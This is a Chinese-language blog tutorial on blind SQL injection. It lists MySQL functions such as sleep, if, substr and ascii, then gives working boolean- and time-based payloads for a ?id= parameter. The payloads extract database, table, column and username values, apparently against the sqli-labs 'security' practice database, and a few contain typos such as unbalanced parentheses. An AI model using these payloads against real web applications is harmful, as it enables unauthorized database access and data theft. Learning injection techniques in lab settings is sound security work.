SQL盲注-你需要知道的常用sql函数和语句

  • Post author:
  • Post category:其他



【❤作者简介:研究生在读 IT女; 如果文章有错请指正,让我们一起学习,天天向上,一起进步! 如果对你有帮助,还请点赞收藏哦~❤】



SQL盲注基本常用SQL函数


SQL盲注

是一种常见的SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。分为:1.基于

布尔

的盲注2.基于

时间

的盲注。

1,

sleep(n)

:延时n秒。

2,

if(a,b,c)

:a为条件,正确返回b,否则返回c。

3,

mid(column_name,start[,length])

:用于从文本字段中提取字符。从位置start开始,截取column_name字符串的length位。column_name:必需。要提取字符的字段。start:必需。规定开始位置(起始值是 1)。length:可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

具体使用和例子见这里


4,

substr(str,pos,len)

: 从pos位置开始,截取字符串str的len长度。str:指定字符串。pos:规定字符串从何处开始,(这里的第一个位置是

从1开始而不是0

)为正数时则从字段开始出开始,为负数则从结尾出开始。len:要截取字符串的长度,可选,若未写则一直截到最后。

例子1



例子2


5,

length(str)

: 返回字符串str的长度。

6,

ascii()

: 将某个字符转换为ascii值。

7,

char()

: 将ASCII码转换为对应的字符。

8,

count()

:统计查询结果的数量。

9,

limit

用于限制查询结果返回的数量,常用于分页查询。(eg:

select * from tableName limit i,n

tableName:表名,i:为查询结果的索引值(默认

从0开始

),当i=0时可省略i, n:为查询结果返回的数量, i与n之间使用英文逗号”,”隔开.

limit n

等同于

limit 0,n

)。

10,

union

:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

11,

regexp

运算符,是

正则表达式

(regular expression)的缩写.正则表达式不懂建议百度。

12,

select a from b (where c条件)

:在c条件从b中选取a,eg:(1)

select username from security.users limit 0,1

:从security数据库的users表中选取username这一字段(列),并且限制从0开始返回1条记录(2)

select column_name from information _schema.columns where table_name='users' limit 0,1

从数据库模式表information _schema.columns且表名为users的列名中从0开始返回1条列名。



SQL盲注基本常用SQL语句

【写在前面:手工注入过程很是繁琐,可以用

二分法

提高效率】



常见语句

select left(database(),1)=‘s’;1位是否是s
select database() regexp ‘s’; 匹配第一个字符是否是s
select database() like ‘s%; 匹配是否是以s开头
select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s
select substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是空:
select ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0



注入过程

大致过程就4个步骤:


1.判断闭合条件 2.猜数据名长度和名字 3.猜表名长度和名字 4.猜字段长度和名字 5.猜数值长度和名字


1,

判断闭合条件

?id=1' and sleep(5)--+

可以用来

判断闭合



'

还是

"

,如果是’则延时注入5秒。(

-- +

or

-- ss

注释后面内容)

以下假设闭合为

'


2,

猜数据库名长度

?id=1' and length(database())=n -- ss

布尔盲注:判断数据库名长度是否为n

?id=1' and if(length(database())=x,sleep(5),1)--+

时间盲注:如果数据库名的长度为x的话,延时5秒。

?id=1' and if (length(database())>6 ,sleep(5),1)

时间盲注:如果数据库的长度>6的话,延时5秒。

3,

猜数据名

?id=1' and ascii(substr(database(),1,1))>97-- ss

布尔盲注:判断数据库名第1位字符(从0开始数)的ASCII是否大于97

?id=1' and if(ascii(substr(database(),n,1))=115,sleep(5),1)--+

时间盲注:组合起来的意思就是如果从第n位复制数据库名1位的字符的asclii码等于115的则延时5秒。作用就是判断数据库名的第n位asclii是不是=115。当然你可以设置取数据库名第几位,是否asclii大于几小于几从而得到数据库名。

?id=1' and sleep(if((mid(database(),1,1)='s'),5,1)) --+

时间盲注: 判断数据库名第一位是否为‘s’,如果是‘s’则延时5秒,否则延时1秒。

4,

猜表的数量

?id=1' and (select count (table_name) from information_schema.tables where table_schema=database())=n-- ss

判断数据库表的数量是否为n。

5,

猜表长

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1) --+

时间盲注:如果数据库中第x个表的长度小于y则延时5秒。

6,

猜表名

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9-- ss

猜第一个表名的长度是否为9。

?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u'),5,0)) --+

时间盲注:如果数据库中的第3个表的第一位字符为‘u’则延时5秒,否则不延时。

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

时间盲注:如果数据库中第一个表的第一个字符的ascii为101则延时5秒,否则不延时。

7,

猜字段名


假设你已经知道一个表的表名叫user了:

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

时间盲注:如果user表的第一列的列名的第一位字符的ASCII=105则延时5秒,否则延时1秒。

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password',sleep(5),1)-- -

这句话有点长,它的意思是,从security数据库中的users表选取第二列(limit函数默认从0开始)的1-8位字符是否为‘password’,如果是则sleep(5)。可以用来判断users表的第三列名是否为‘password’。


8,猜数值

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

从users表里选择username这一列记录的第0位字符的ASCII码值是否为68,条件为真则sleep 5秒。

在这里插入图片描述



版权声明:本文为Brilliant_orange原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。